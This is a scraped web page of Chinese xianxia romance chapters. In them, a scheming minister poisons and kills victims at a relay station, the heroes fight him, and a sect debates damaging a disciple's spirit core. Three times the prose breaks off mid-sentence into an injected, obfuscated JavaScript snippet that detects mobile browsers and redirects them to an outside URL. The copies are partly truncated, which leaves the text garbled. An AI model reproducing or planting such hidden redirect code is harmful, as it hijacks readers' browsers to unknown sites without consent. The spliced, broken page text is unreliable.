“容姑娘,颖城百姓都被解毒了?”周望嘴角带笑,眼神却似腊月冷风,说出来的话让旁边的驿丞后背一冷。 容珠直视着他的眼睛,想透过迷雾看清后面的真相,“我回来拿点东西,听说都城中毒的人都送去了城外的驿站,我来都来了,当然要过来帮他们解毒。我记得周大人对我说过民为一国之本,先有民,才有国。周大人这么晚还过来视察,果真是心系百姓。” “周大人和容女侠为着百姓东奔西走,俱是为国为民,之前二位奉皇命去监工的时候还路过了都城驿站,说起来,二位交情匪浅呐!”驿丞站在一旁毫不知情地插嘴瞎聊。 周望轻轻一笑:“容姑娘记得在下说过的话便好,既如此,容姑娘请进。” “请,请!”驿丞过去开门。 屋里烛光昏暗,十几个中毒之人躺在临时安置的床铺上,过分寂静的气息扑面而来,容珠的目光从每个人的脸上扫过,注意到了一个空着的床铺,上头的被子是被掀开的状态,她猜想,应白此时应该见着上官琛了,等救完这些人她就能给他解毒。 “他们中毒了多少天?”容珠问驿丞。 驿丞模糊道:“虽说都是今天送过来的,但每个人的情况不一样,三四天,四五天的都有。” 他将话头一转来掩盖自己的不知情,“下官早就听闻容女侠的血可以解毒,如此神事简直闻所未闻,容女侠就是朝荣国的福星啊,不知需要什么东西,下官这就命人准备。” 福星…… 过去与现在之间猛然裂开了一道缝隙,她就像是活了两次的人,曾经那么拼命想扭转自己的命运,成为一个对清凌门有价值的人,她从不承认自己的无能是天注定,因为这后果太可怕了,她就像是天地繁衍人类时出的一个差错,活着毫无用处,早晚要死,可现在变了,不一样了。 她忽然意识到自己在这偌大的世间有了一方立足之地,不再是虚无缥缈的蝼蚁,好像自己的生命有了意义,不是可有可无的活着,她能给人带来帮助,不需要灵力。 “准备一把匕首和干净的碗勺。”容珠平静地说着,她摸了摸自己的胳膊,看看还有哪个地方可以下刀。 驿丞应声后命人去准备。 容珠走进床边挨个观察这些人的面色,注意到有张床上躺着一个中年妇女,被子盖了一半,一只胳膊耷拉在床边。她走过去想把她的手塞进被子里,可做到一半,她忽然察觉到有些不对。 妇女的身体有些凉,在抬她胳膊的时候容珠隐约感觉到对方的骨头里像有什么阻力。 这时,驿丞拿过小兵从后厨拿来的东西殷勤地递了过去,“容女侠,你要的东西都准备好了。” “她死了。” “什么?”驿丞堆笑着的脸陡然一变。 容珠心道不妙,她忙去另外一张床上探其他人的鼻息…… 随着容珠到每一张床边伸手再缩回、伸手再缩回这些动作,驿丞拿着碗的手情不自禁地哆嗦起来。勺子不停地磕着碗边发出急促不规律的脆响。 “容女侠……驿站有大夫……” “快把大夫叫来!”容珠看着驿丞转头支使人叫大夫后又端着碗慌张地来到周望身边:“周大人……这,这,他们好像情况不妙啊……” 中毒了有解药,一切都好说,可人死了,世上并没有起死回生之术,死在了驿站,驿丞多多少少怕受牵连。 昏暗的房间里骤然生了阵阵冷意,像是寒冬腊月天敞开了窗户,容珠隔着从窗户外照进来的一道月光和周望对视。他站在黑暗里,一双浅的不似常人的眼眸静静地与她对视。 不一会儿,大夫经传唤后匆匆赶来,在一一摸过每个人的脉搏后叹气道:“各位大人,这些人都没气了……” 门口的小兵听到结论后掩饰不住各自的震惊,驿丞更是被突发情况紧张得说不出话来,容珠呼吸急促:“他们是怎么死的?” 大夫面露惋惜,“还能是怎么死的?他们中的毒没有及时得到救治,无力回天了!” “你怎么知道他们是因为这个死的?”容珠不以为然,“中这个毒的人的确有性命危险,可这里这么多人,同一天死了,这难道不蹊跷吗?” 大夫一时之间没有回答上容珠的问题,一不知情小兵受惊道:“晚上吃饭的时候还好好的,怎么现在全死……” 驿丞愣在原地,容珠听出了言外之意。 也就是说这些人是吃完晚饭不久后一起死的? 这小兵忽然想起了什么,“有个人饭前小解去了,怎么到现在还没回来?他不会死在外面了吧……” 容珠的心提到了嗓子眼儿,她知道“有个人”就是应白,这间屋子里的人现在全部莫名其妙地死了,把他们原先的预料和计划全部推翻打乱,那他……他有没有事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069616|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “找到他,活要见人,死要见尸。”周望平静威严的声音在黑暗里传出来,门口的小兵直接听命于周望,当即叫上其他的小兵去茅厕找人了。 “容姑娘,看来你来晚了。” 周望从黑暗的角落里走出来,月光照在他的半边脸上,容珠感觉自己在微微发抖,她不敢想象应白会出什么事。 她来晚了……真的来晚了吗? * “应白!” 上官琛本来跟着应白去偷听周望来驿站干什么,但是走到茅厕附近应白突然吐血了。 “每半个时辰一次,到时间了。”应白一手扶墙,伸出另一只手来擦血。 急匆匆的脚步声由远及近,应白当即让上官琛先躲起来,在小兵们前脚刚过来的那一刻,上官琛身子一跃跳到了屋檐上。 “人在这儿!找到了!他还活着!” 应白听这话眉头一皱,他问小兵:“为何这么说?” 小兵看他如看奇迹:“你果然非同寻常,别人都下不来床,你还能出来上茅厕,方才容女侠来驿站要给中毒之人解毒,结果……”小兵沉重道:“他们都死了,只有你现在还活着。” 屋檐上的上官琛目光一滞。 “都死了?”应白没想到周望会这么快动手,“怎么死的?” 他今天躺在驿站床上半梦半醒间,听到外头的小兵互相聊天,从他们的话语中能推断出这些小兵根本不知道皇宫里的计划,此刻小兵的脸上也没有震惊激烈之色,至少说明周望不是当着所有人的面动手的。 怎么会?周望怎么会选择在今天动手? “大夫看过了,全都是没及时得到救治中毒而死的,你快跟我们回去,周大人找你呢。”小兵看应白身子不济,准备一左一右架着他,忽然一阵风刮衣袍的声音从高处传来,一个红衣人影从屋顶上跳下,吓得众小兵齐齐往后一退。 上官琛扶住应白,在众小兵惊讶愣神的空隙间咬牙道:“既如此,我也要去见见你们的周大人。” “周大人已经回宫复命了,容女侠似乎有话要问周大人,跟着去了,刚走,应该赶得上。” 驿丞在猛然看见上官琛的那一刻便意识到今晚一定是个非凡之夜,要知道这个驿站虽然是朝荣国最大的驿站,但人来人往的都是不入流的人物,而今晚接二连三有大人物降临此地,驿丞本该要说几句礼数周到的话,但由于方才经历了中毒之人全都死了的变故,又隐隐察觉到事情的怪异性,现在是连半个马屁也拍不出来了。 应白看到有大夫在屋里,又问了遍人是怎么死的,大夫说:“从每个人的七窍来看,没有其他异常现象,应是没有得到及时的救治毒发而死了,可这些人像是同一时间的死的,这又诡异得很。” 大夫从容珠的言外之意听出她怀疑这些人晚上吃的白米粥有问题,于是检查了厨房剩余的饭,没有发现不好的东西。 应白心里发慌:“阿琛,我总觉得周望不简单,他不是要见我吗,怎么这就走了?快去找到容珠,我怕她有危险。” 周望既然杀了这么多人,又怎么会允许有漏网之鱼?难道他也认为所有人都死太过明显,所以故意留一个活口? 应白现在完全摸不清周望的行动和想法,先前做的所有猜想都跟实际有差别,他忽然有种感觉……感觉周望早就知道他和上官琛的行动,从来都不是他们在扭转什么,而是周望一直在无形之中推动他们往某个方向走! “上来!” 上官琛在应白面前做出背他的姿势,“我知道你心里急,所以咱们也别废话了,我背着你不会慢多少,我怕容珠误以为你也出了事,你们两个再不见面,我看你不是被毒死,而是被相思病害死了!” 121. 真面目 容珠本想跟着小兵去找应白,走到门口忽然意识到如果没有证据证明这些人死的原因是出自周望之手,那他大晚上来驿站干什么? “天色不早了,把这些尸身卷起来晾在外面,明天通知他们的家人来认领,陛下还在宫里等着我回话,我就不在此逗留了。生老病死乃人之常情,容姑娘不必过于上心,反正你一个人的血本来也救不活所有的人,他们本就身处痛苦之中,早点死怎么不是一种解脱呢。”周望把今晚的事情说得轻飘飘的,连驿丞也听出了几分凉薄。 容珠不可思议地回头看他,“是你。” 此刻屋子里躺着的可是十几条人命,即便这些人不是亲人朋友,可一个有血有肉的人怎能说出如此平静冷血的话。 “早点死怎么不是一种解脱?”她把这话重复了一遍,后背顿时泛起一阵寒意,她看着他眼睛:“周大人,是不是你?” 周望站在她的肩侧,微微转头:“每个人都有自己要做的事,吃饱了饭上路更容易投胎转世。” 他大步流星离开,带起的风让容珠身子一阵热,一阵冷。愤怒,震惊,失望,难以置信……一个人怎么会有两副截然不同的面孔? 他根本不是朋友,不是贤臣…… 容珠倏地转身冲了出去,耳边的风呼呼作响,她想:既然白米粥有问题,为什么大夫没有检查出来?为什么喝白米粥的小兵没有问题?为什么周望要选择这么快动手?为什么他可以无声无息做到这一切? 曾经与他接触的种种记忆纷至沓来,原来从前监工时所认为的“奇怪”“不对劲”都是早就显露出的蛛丝马迹,连同他突然出现在都城,之后名声大震,在短短几个月之间成为摄政大臣这些事来看,容珠忽然有了个可怖的想法。 驿站门口已不见马车的踪迹,她顺着马蹄印在树枝间飞快前奔,精致华丽的马车“嗒嗒嗒”地行驶在月光昏暗的小道上,她立在高处,伸出手臂召出佩剑,雪白的剑身出鞘飞下,划破了漆黑的夜,在马车走出黑暗来到路口之际穿透了车帘…… 破碎的车帘布飘飘欲坠,马车在下一刻缓缓停下,周望手握长剑下车,回头对车夫说了什么,马车走远了。他细细端详着这把剑,目光精确无误地锁定住了容珠的位置。 “周大人这么厉害,还坐什么马车,直接飞回去岂不更快?”激烈的情绪在胸口涌动,容珠脚尖一点,落在地上,伸手欲拿回自己的剑,可剑身一直在周望手中抖动,挣脱不开。 她的灵力现在逼近高灵阶级,能压制她佩剑的人,灵力必然不低于她。 “你究竟是什么人?”。 周望一手握着剑柄,一手托着剑身,他的目光从容珠身上移到离身前不远处的石碑上,平静道:“我是什么人?容姑娘知道自己是谁吗?” “我当然是我,你想说什么?” “这世上有很多人其实并不了解自己。我是谁?这是个好问题。”周望两手托着剑朝容珠的方向一抬,剑飘然前行,来到了容珠面前。 他道:“陛下想杀所有中毒之人,就是为了将这股不明之毒彻底扼杀,你们找不到解药,这期间要耽误多少百姓?与其这毒传染更多的人,不如牺牲少数,成全多数。” “你——” 周望抢过了她的话头继续道:“但中毒的人实在太多了,为了让事情简单一点,陛下决定关闭城门,只杀都城中人,这样都城内就可保证安全,其他地方的人就等着你们的解药来救命,若等不来死了,那都是你们的责任。” “你怎么能说出这样的话?他们都是一条条人命!监工回程路上你对我说过的话难道忘了吗?”容珠抑制不住心头的惊怒,她没想到周望承认得这么利索,此时此刻,她完全不认识眼前这个人。 “了解一个人不是听他说了什么,而是看他做了什么。”周望的声音始终沉静有序,不急不慢,“就算我不伤害平民百姓,也会有别人祸乱世间。每个人来到这世上都身负使命,你可以遵循,也可以打破,我知道自己在做什么,并愿意承担一切后果。” 这世上有坏人,利益至上的坏人,迫不得已的坏人,自视甚高的坏人,还有明明白白的坏人。 “你要做的是惩恶扬善,我要做的是祸乱人间。”周望看着她,脸上不见一丝笑容,他像个假人站在那里,外表只是一层伪装的皮囊,盖住了真实与真相,又像个远在云端的人,看似近在眼前,实则伸手一摸,全是梦幻泡影。 就像第一次见到他时一样。 当时说他是“仙君”,现在却觉得他满身血腥,这种独特的气质归根究底不是凡夫俗子能拥有的,除了仙君,还有妖魔。 容珠浑身紧绷,咬牙切齿:“你就是魔……” 衣袍翻飞之声在身后猎猎作响,她回头一看,应白苍白虚弱的脸直击眼底,他仿佛把全身的力气都灌注在自己这双温和柔棕的眼眸里,那灼灼明亮,充满着期盼与担忧的目光照亮了黑夜,里头的万千思绪呼之欲出。 “容珠,发生什么事了?”上官琛见容珠的佩剑浮在半空中,严肃的气氛让他嗅到了战火的气味。 “上官公子,应公子,怎么二位也来参观都城驿站了?”周望恢复了微笑的表情,适时“关切”道:“应公子怎么看起来脸色不好?生病了?还是……中毒了?” “若是中毒了,”周望收敛了笑意,“奉陛下皇命,中毒之人要立即处死。” “你敢!” 上官琛当即跨出一步站在应白身前,银枪“唰”地现出。容珠握剑直指周望:“我的血就是解药,你没有理由杀我师父,反倒是你,今晚,我们有理由杀了你。” 周望缓缓道:“没用的,在没找到真正解毒的解药前,只要是中毒的人都得死。” 他身形一闪,几个快步如蜻蜓点水似的逼近,不过眨眼间,容珠就发现五根黑亮的锐利之物从他指尖刺出,她来不及细究,手腕当即一个翻转,只听一声刺耳尖锐的碰撞声响起,应白只觉脖颈处冲过来一阵寒凉的风,他稍一偏头,刹那之间避开了近在咫尺的偷袭。 容珠不给周望机会反应,另一只手蓄满灵力回击。周望被弹开一段距离后落地又跃起,他身形飞快,灵力鬼魅,好似身上的云雾蓦地散开一半,露出了伪装之下的真面目。 修炼之人用灵力说话,眼前的情景无不在告诉容珠三人他们所面临的对手有多强大,上官琛心火旺盛,只以为周望故意隐藏灵力欺骗众人,心怀不轨,认定他假模假样断案,就是为了进入皇宫,把持朝政! 长枪在手中发出“嗡嗡”之声,上官琛飞冲过去,火红的灵力恍若熊熊怒火将周望包围。 容珠一剑擦过周望的脸颊,周望抬臂击向对方手腕,回身朝上官琛击了一掌,长剑失力下坠,容珠左手反握。 应白一手撑树,一边观察战况,他发现容珠的灵力有了很大的变化,她使出的东林剑法轻盈凌厉,配合她现在将近高灵的深厚灵力按理说非同一般,可周望总在束缚她,然后反攻,束缚,反攻。 上官琛被这股巨大的力量冲击得一屁股撞到地上,吐了口血出来。 “好样的。”他抬手擦嘴,恶狠狠地盯着周望,“从前不知道你有这般能耐,我曾杀死过魔龙七次,还怕对付不了你?” 他重新拾枪翻身站起,怒意和敌意占满他的身心,喧腾的灵力环绕周身,像欲燃欲烈的火。 容珠左手接剑后身子一旋和周望拉开了距离。她呼吸急促,方才交手的几个回合耗费了她不少力气,原本因献血过多而有些发虚的身体此刻越发提不上力气。 周望不留双方缓冲的时间,容珠盯着他飞来的身影,将剑一伸,扎地借力一跃而起,两条腿蓄满力从半空踹下。周望擒她脚踝,容珠腿间使力挣脱,仰身展臂躲开他的攻击,抬剑回刺,近战搏斗。 对方双臂一招一式间轻飘似云,但打中她身体时的痛感却好似骨头都要碎了,每每感觉自己有性命危险时又总能再次找到突破口回击,但战况迟迟不曾转变,好像在对方眼里,这场对战不过是一局舒筋解乏的游戏。 “容姑娘,这个样子可不行啊,你连我都对付不了,将来怎么对付更强大的敌人?” 他侧身用手背挡住容珠的拳头,反手击开她的手臂,一掌隔空击向她的身体,而就在这时,一杆长枪削了过来。 容珠跌躺在石碑旁,喉间腥甜,她看到上官琛的长枪划破了周望的衣袍,后者浑不在意,攻势较之方才更为强势。 应白费力起身奔向容珠。 “师父!”容珠朝他跑去,周望双眸一利注意到了这边,他借着上官琛的长枪反客为主占了上风,脚尖一踩朝那边飞去。 “我的血可以解毒,我现在就救你。”容珠正准备割手时,应白却猛地发现了异况,惊呼道:“小心!” 他骤然紧绷的声音登时让容珠凝神,反手拿剑朝后袭去。周望握住剑身将容珠带起甩了出去,紧接着把手伸向应白! 应白歪身避过,迎上周望的锐利双眸。他伸掌侧击,出拳回攻,周望不用灵力,出手直奔要害。 每每手臂相碰,应白都能感受到一阵劲力冲击着本就快散架的身体,若他没中毒,完全能与周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我是没有灵力,这只能说明我没有对付你的资格,只能说明失去灵力是发生在我人生中的一件事,不代表我的人生因此而毁灭,不代表我不能实现心中想要看到的结果,我只管做好自己该做的,人生从来都不是一条路走到底。” 谁说没有灵力他的愿望就不会实现?只不过拥有灵力,和圣灵宫分出胜负是一条最快,最便捷的途径,没有灵力意味着他要绕远路,而不是对人生希望的全盘否定。 他用不多的力气隔开了周望,后者退步稳身,深深看了他一眼后忽然朝容珠袭去! 容珠被周望先前那一甩虽靠着佩剑勉强支撑着自己落地,但被他甩过来的灵力击伤,此刻她意识混沌,隐约看到半空中有个黑影飞速靠近。 长枪破空划过来的嗡鸣声震回来她的一丝意识,黑影被突然而至的红衣暂时打退,容珠握紧了剑尝试起身,上官琛和周望的对战看得人眼花缭乱,可这一次,周望像是着急要干什么,他很快摆脱了上官琛再次朝容珠袭来。 应白心感不妙,他不知道周望为什么忽然将目标转到了容珠身上,容珠脸色肉眼可见的苍白,无论是力气还是灵力她已难敌对方,上官琛几次想帮容珠都被周望打了回去。 容珠见周望杀意渐浓,预感到了极大的危机,她咬牙起身,灵力的透支让她越来越虚弱,她还没站稳,周望便挥袖拍出一掌,容珠顿觉四肢百骸收到了重创,整个身子向后飞去。 身后是坚硬的石碑,应白挣扎站起,奋力一跃,千钧一发之际垫在容珠身后,整个后背十足十地撞到了石碑之上,受周望灵力的波及,五脏六腑再难无损,鲜血上涌,倒在地上吐了一大口血出来。 “师父……”容珠瞳孔一缩,转身两手扶住闭着眼的应白,恐惧似浪涛般涌上心头。 应白微微睁眼,残存的一点眸光在她脸上搜寻着,想开口说话,可残血卡在喉间。 他抬手抹了把嘴上的血,在石碑上一笔一划缓慢写下了两个字:想你。 鲜红的字热烈灼心,泪水喷涌而出,容珠紧紧抱着应白,好像只要抱得紧,他就不会离开自己。 “你不能死,我还没有回答你呢!我听得懂你的暗示,监工前那一次,还有我去颖城之前你说的话我都懂!只要你活着,我就认认真真回答你!” 应白靠在容珠的肩头气息渐弱,他逐渐涣散的眼眸依然有碎光闪烁,仿佛他仅剩的生命都聚集在这里,一点一点,渐渐消散。 “想你”的血迹一点点消失,石碑接受了这份情意,绽放出耀眼夺目的彩光。 122. 互倾心 劲风卷着树叶漫天飞舞,石碑散发出的光芒晃得人睁不开眼。容珠有一瞬间以为自己也死了,可她还能感受到应白脖颈间的温热,她就这样抱着他,不想放手,也不敢放手。 光芒持续了一阵子后慢慢缩小,在石碑第二行第一道印记上凝结成了一道黄光。 远处的周望注视着那道光芒,浅色的瞳孔闪烁着异光。他像个雕塑一样站在那儿,平静的神色下涌动着百般细变。 “石碑……”上官琛趴在地上又惊又喜又怕地看着石碑上新亮起的光芒,他惊喜他们在消灭魔龙的道路上又进了一步,惊喜自己的兄弟应白点亮了石碑,可他害怕这所有的惊喜不久后都会消散,因为应白命不久矣…… 当事人察觉到了事情的走向好像发生了一丝变化,“容珠,”他声音沙哑,惊讶自己还能出声唤她。 容珠慢慢松开,两人看了对方一眼然后一齐看向石碑。 “啊……”周望发出了一声叹息,“应公子真是好事多磨啊,连上天都伸出手救了你一命,既然你现在成了点亮石碑的人,那杀不杀你,我还要请示陛下。” 他袖袍一甩,脚步飞快地奔入林中,消失在了夜色里。 “应白!”上官琛被周望打得浑身剧痛,他脚步踉跄地跑了过来,来来回回端详着他,“你有没有事?你们有没有事?” 说实话,应白感觉自己不太好,这种感觉说不上痛苦,他好像什么也感觉不到,感觉不到自己的身体,感觉不到自己的心跳,就像在漩涡之境那几年麻木了一样,人虽活着,灵魂却死了。 他脑子晕晕的,尽管得知自己的血点亮了石碑,但他还没有好好品尝这份喜悦,很快就闭上眼睛不省人事了。 “师父!”容珠的心瞬间绷紧,眼下是要尽快把应白送回紫阳宫救治,她尝试运转灵力放大自己的剑,可内伤却毫不留情地提醒着她现在能力不够。 “我来!我御剑,你扶着应白。”上官琛把自己的长枪收入囊中,接过容珠的佩剑注入灵力。此处虽离紫阳宫颇远,但御剑飞行很快就能到。 容珠站在剑上已然觉得自己体力不支,头脑浑浊,她心道周望的实力非同小可,今晚见识到了他的真面目,以后若想对付他绝不容易,他能悄无声息杀死都城百姓就能用同样的方法对颖城百姓下手,沈宫主…… 容珠的意识渐渐模糊,紫阳宫的轮廓就在眼前。上官琛几乎是踩着剑冲了进来,邱梧听见声音跑出门,看到上官琛着急忙慌落了地,紧接着,容珠和应白相继倒下。 “怎么回事?”邱梧慌忙蹲身查看二人,上官琛急得词不成句:“驿站……是周望……应白他……哎呀,先生,先生在不在?” 幸运的是,顾寄章刚从外面回来,因他收到了沈宫主的信,简单的告诉他都城的事,让他回去和上官琛一起保护都城中毒之人。 “太好了……”上官琛神经松懈,整个人一下子躺在了地上,“我没事,先救他们。” 他只是打累了而已,又痛又累,从来没有跟人打过这样有力道的架,“一个魔龙,一个周望,朝荣国真是外忧内患。” 邱梧叫来几个紫阳宫弟子把上官琛抬到了担架上送进药堂。 顾寄章看这伤情大惊失色,心知眼下不是问来龙去脉的时候,他先后看过应白,容珠和上官琛,让邱梧给容珠疗伤,自己来医治应白,上官琛虽然伤得不轻但缓一缓不碍事。 药堂里气氛凝重,邱梧把容珠扶起让她盘腿坐在床上,自己在她身后给她运功疗伤,当灵力输送到对方身体里开始运转的时候邱梧忽然意识到了不对劲。 “先生,我的功力好像不能给容珠疗伤。” “有什么异常?”顾寄章暂停了从应白身上发现的怪状,看向这边。 邱梧看了眼容珠的背影道:“我感受到她的灵力今非昔比,只凭我一人之力远远不够。” 顾寄章沉思了一会儿道:“方才我给应白把脉的时候他明明命悬一线,但我刚刚发现他的身体竟在自愈,怎会有如此神奇之事?” 他停顿片刻说:“看来所有的谜团都要等他们醒了以后才能知道,既如此,你我先给容珠疗伤吧。” 半个时辰后,邱梧和顾寄章方收功完成。 “我记得容珠刚来紫阳宫的时候和云萧一样灵力微薄,不到一年时间她的灵力便增长地如此迅速,不管从时间还是灵力纯度来看都非同寻常,看样子,她不是普通人啊。” 顾寄章被这奇事惊讶到了。邱梧给容珠盖好被子,微微一笑:“世间有妖魔,可我们从来没有见过神明,容珠对朝荣国的贡献如此之大,说不定她是神明转世呢。” “各人有各人的命运和际遇。”顾寄章放下应白的手腕,“他已经没事了,不过我不确定他身上的毒还在不在,再观察观察吧,我去看看阿琛。” * 容珠醒来的时候天还没亮,屋里点了两根蜡烛,像是也睡着了一样,安安静静地释放着不怎么明亮的烛光,她眼前仍是打打杀杀的画面,满脑子还停留在应白受伤的情境中。 “咳咳……咳咳……”嘶哑的咳嗽声惊醒了屋内的寂静,容珠倏地转头,目光穿过昏黄的烛光看清了对面床铺上的人。 她一掀被子,紧接着“嘶”了一声,身体的痛感提醒她现在还不能随心所欲。 “师父,你怎么样?哪里不舒服?”容珠穿鞋跑到应白床边,渐渐反应过来这里是紫阳宫,身上还在阵阵疼痛,但总体上好了很多,定是邱梧想办法给她疗伤了,那应白肯定也医治过了。 应白双目紧闭,眉头微蹙,胸膛混乱起伏着,几声咳嗽后歪身吐了口血出来。 容珠心中一揪,“师父!我现在给你解!” 伤可以治好,但毒没有解药是不行的,容珠转头在屋里寻找匕首,忽然想起自己可以用灵力割开手掌,从前一直用刀割是因为若用灵力的话伤口好得慢,眼下自是不在乎伤口康复快慢,只想让应白赶快好起来。 “你流了太多血了,现在还有伤,不必急于一时。”手臂被应白握住,他睁开眼望着她,轻轻摇头。 “这毒等不得,我怕你出事。”容珠握住他的手腕想把他的手放下,可应白眉头紧皱,像把所有力气都移到了这只手上,他能感受到衣袖下的布纱在硌他的手,每每想到容珠要每天在自己手臂上割一道血口便心疼不已。 “我不想让你再受伤,一点也不想,哪怕只是一个很小的血口我都不愿,等你身体好了再说。” 应白不放心,手仍紧紧握着容珠的手臂,烛光照在他虚弱的眼眸里炽烈地燃烧着,他眉眼间的情感和担忧像开闸的水把他自己都淹了,从前容珠总是避开这让她心砰砰跳的神情,但现在不了。 她看着他的手,低声道:“你不愿看我受伤,我又怎忍心看你一直被痛苦折磨?我们的想法相互违背,你告诉我有没有折中的办法能让你我都满意?” 应白眸光一颤,没有说话。 “我不敢等,我怕你死。跟死亡比起来,我的伤口又算得了什么?”容珠抚上他的手背,将他的手指握在手心里。 “为什么是你?”应白看着屋顶,像在质问上天,“为什么要用你的血做解药?” 容珠微微一笑:“我的灵力就是因为这个才又提升了,我为自己能帮助朝荣国的百姓而感到开心。” “开心”两个字让应白睫毛一动,他转动目光看向容珠:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是这样的陛下。”周望面色平静地回答,“除了那道不知是谁点亮的石碑印记外,其他四道印记的主人都来自紫阳宫。” 赵皇帝扶额,头痛欲裂。 周望道:“驿站的中毒之人都处理完了,连大夫都看不出来破绽,那些人全都是因没有及时得到解药而死的。” 更深露重,殿堂里寂静得让人心慌,赵皇帝听到结果后忽然浑身发冷,他喝了口热茶缓了缓说:“好,爱卿办得好,都城城门已关,这里再也没有中毒之人了,寡人安全了,那紫阳宫那边……” “邱梧明日进宫教四公主读书,拿她做人质,紫阳宫不敢如何。” 赵皇帝微微发抖,他想要保证自己的安危所以杀中毒百姓,他要预防沈宫主谋反,所以拿她的女儿做人质。 他甚至根本没有意识到这个计划存在很多问题,并不完美。可他觉得自己很孤独,他能感觉到每天都有什么东西从身上流走失去,他总觉得自己有性命危险,总觉得国君之位朝不保夕,他唯有依靠周望才能保证这一切回归正常。 周望很重要,他离不开他。 “你能行,对吧?”赵皇帝双目期盼地看着他。 “当然,陛下不是已经知道我的实力了吗?紫阳宫不是我的对手,陛下尽管把事情交给我去做,您只要坐在皇位上,等着结果就好。” 周望安稳的声音渐渐抚平了赵皇帝的不安,他靠在龙椅上,长长舒了口气。 “我是朝荣国的君王,谁都不能侵犯我的地位和威严,若有人想抗旨谋反,爱卿,你要替寡人除掉他们。” 123. 损灵核 朝荣国在一个月的时间里结束了雨灾又面临了毒灾,而在另一个世界,金闻圣灵选妻的日子快要到了。 自从容江给容檀提出自损灵核的建议后,容檀连着好几天晚上都没睡着觉,她翻来覆去在脑子里想还有没有更两全其美的办法,结果是她根本想不到。 灵核跟她的脸一样是对她而言最重要的东西,在这个强者为尊的世界,拥有资质好的灵核是极其难能可贵的事,谁会自损?怎么可能?她根本舍不得! 连逸也觉得容江出的这个主意有些草率危险,草率不是说自损灵核这件事,而是让他去损害容檀的灵核,要想损害灵核还能通过日后调理滋养回来可不是件简单的事。 他找了个机会跟容江聊这件事,容江问他:“你不想是因为自己能力不行还是下不去手?” 连逸规规矩矩回答:“弟子的确能力有限,无法承担如此重要决策,况且掌门是清凌门最尊贵之人,弟子不能做对掌门不敬之事。” “连逸。”容江似笑非笑地看着他:“你和檀儿之间的矛盾隔阂我都看在眼里,若说不敬之事,你做的也不少,无论是私下和应白交好还是为了容珠站在清凌门的对立面都是对容檀这个掌门的挑衅,你说你不能做,我是不信的。” 连逸双唇一抿。 他知道如果单纯地从自己是清凌门弟子这个角度来看,他做的很多事其实已经是“叛徒”了,完全没有待在清凌门的资格。他也知道自己之所以归根究底没有被赶出去除了容江的挽留,还有清凌门需要人才这个原因。 毕竟这个世界是靠灵力说话的。 但他真的不想伤害容檀的灵核,他问过自己原因,发现自己不是因为讨厌她而不愿做,也不是因为自己能力不够做不了,他…… 他对容檀生出了恻隐之心。他惊讶地意识到,自己不愿去做这件事的原因是脑海里在反反复复设想容檀因灵核损害而伤心的情景。 连逸被自己吓到了,他讨厌容檀,怎么会又不忍让她伤心? 这些天为着这事他甚少在容檀面前露脸,心烦意乱,有时候不知道自己什么时候,站在哪里就开始发呆,满脑子想的是天阙台上,使者宣布完指令后容檀起身的背影。 他以为那个时候容檀是笑着朝前走的,他一直以为去圣灵宫是容檀的梦想。可他没想到,容檀想要的是自己成为一个真正的强者,她有原则,有底线,虽然虚荣慕强,却奋发向上。 意识到这点后,他从原先的刻意回避容檀到不敢看见容檀,目光一旦触及到对方的脸好像就有一只手把自己好不容易遮藏起来的什么东西再次暴露出来。为了解决这件事,他干脆找容江说自己不能胜任。 容江见连逸半天不说话也不知他在想什么,身为父亲,容檀的平安快乐很重要,婚姻大事也很重要,他其实之前还真没考虑过连逸,一直把目光放在了外面。 连逸知根知底又有潜力,长相气质都说得过去,唯一美中不足的是,他有了这个世界所不允许,完全相悖的思想,如果和容檀在一起定不乐观。 即便容江一直倾心教育容檀,可他的力量跟这个世界相比太微不足道了,容檀还是长成了冷漠慕强的个性。 儿女情长一事容江有心但做不得主,他深深吸了口气长长地叹了出来,“容檀是我的女儿,损害灵核这么大的事我怎么能随便交给别人去做?” 连逸抬眸看他,容江起身道:“你的灵力比我的要温和许多,你在清凌门修炼了这么久我看得出来,你比别人更沉稳有耐心,用你的灵力去损害檀儿的灵核既合适又稳妥,灵核也不会因为受到过于激猛的冲击而造成无法挽回的伤害。” 道理都懂,连逸还是想拒绝,这时,容檀忽然从外面大步流星地进来了,不妨连逸在此,两人都各自一僵,容檀很快皱起眉头,连逸识趣地离开了。 “爹,我真的要自损灵核才能不被金闻圣灵选中吗?难道没有其他的办法?” “已经过去十多天了,你来找我说明你也没想出来。”容江轻轻拉过容檀让她坐下,“只是轻轻损伤一下,以后还可以调理回来。” “话虽如此,可你怎么让连逸来做这件事?他看我不顺眼是明面上的事,您就不怕他借机报复吗?到时候毁都毁了,就算找他算账也无济于事!”容檀声音不小,可见怒气也不小,连逸站在门口连她生气的呼吸都能听见。 容江看向女儿:“你为什么认为他看你不顺眼?我看到的可不是这样。” 容檀不关心父亲看到的是哪样,她坚定严肃道:“爹,光凭他袒护应白和容珠这件事就说明他心术不正,咱们清凌门可不与罪犯同流合污,他与我们道不同,这还需要解释什么?” 